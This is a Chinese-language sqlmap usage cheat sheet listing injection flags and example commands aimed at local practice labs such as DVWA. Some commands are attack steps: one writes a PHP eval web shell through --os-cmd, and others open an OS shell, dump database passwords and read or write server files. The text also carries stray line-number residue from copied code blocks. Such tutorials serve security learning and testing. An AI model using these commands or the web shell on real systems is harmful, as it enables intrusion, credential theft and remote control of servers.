sqlmap使用手册
基础流程:
1 | 判断是否有注入 |
基础命令
1 | -h/hh 查看基础/全部帮助命令 |
高级命令
- 指定请求头
1 | --cookie sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1" |
- post型注入
1 | -r 指定注入的数据包, sqlmap -r "D:\1.txt" --batch |
- 提交数据和回显数据不在同一页面
1 | --second-url |
- 文件读写
1 | 以下三个参数的执行需要mysql服务端配置secure_file_priv=""或者secure_file_priv="xx\xx\xx\" (必须指定目标机绝对路径,而且写一句话一定要写入网站路径下才能连接菜刀) |
- 执行SQL查询或者系统命令
1 | --sql-query="SQL语句" |
注意:以下两条强烈建议不适用–batch执行,可以先用–batch发现注入后再单独执行下面两条。而且均已高权限来执行系统命令
–os-cmd=”命令”
```
sqlmap -u “http://192.168.88.128/sqli/Less-1/?id=1" –os-cmd=”echo ^<?php eval($_POST[a])?^> > 5.php”1
2
3
4
5
- --os-shell 获得一个执行命令的shell
- 查看数据库用户名和密码
-users 获取数据库用户名
-passwords 获取数据库用户密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
## 其他高级命令
````
-m 指定批量url地址文件,e.g. sqlmap -m list.txt
--level 等级越高,尝试注入的payload越多。尝试注入的参数也越多。(1-5,默认是1)
--risk 风险等级,建议不去改变。(1-3,默认是1)
--tamper="unmagicquotes"
--delay 设置请求延迟时间,单位是秒,默认无延迟
--threads 设置线程(默认值1,最大值10)
-p 指定扫描的参数
参数后面加* 跑伪静态,e.g. sqlmap -u http://targeturl/param1/value1*/param2/value2/
--time-sec 指定时间延迟时间(默认5秒)
--proxy
````
## 不那么重要命令l 跑工具的日志文件,如burp的日志文件 e.g. sqlmap -l list.txt (burp->project options->logging->proxy->requests)
g 测试注入Google的搜索结果中的GET参数
-param-del 变量分隔符(默认是&)
-random-agent 随机从自带的txt目录中选择user-agent
-method=GET/POST
-timeout 请求超时时间,浮点数,默认为30秒
-retries http(s)连接超时重试次数,默认3次
-randomize 长度,类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
-scope 过滤日志内容,通过正则表达式筛选扫描对象
-safe-url=”127.0.0.1/sqli/less-1/?id=1” 设置目标网站能正常访问的地址作为安全链接地址
-safe-freq=3 访问安全链接地址的频率,即测试多少次后访问一次安全链接地址。
o 同时开启三个优化配置
-skip 排除指定的扫描参数
-dbms 指定数据库种类和版本
-os 指定数据库服务器的系统,(如果是windows/linux就不用制定了)
f/-b 获取目标系统的一些信息
a 获取全部信息
-hostname 获取主机名
-privileges 获取当前用户权限
-answer 指定答案
-purge-output 清除output文件夹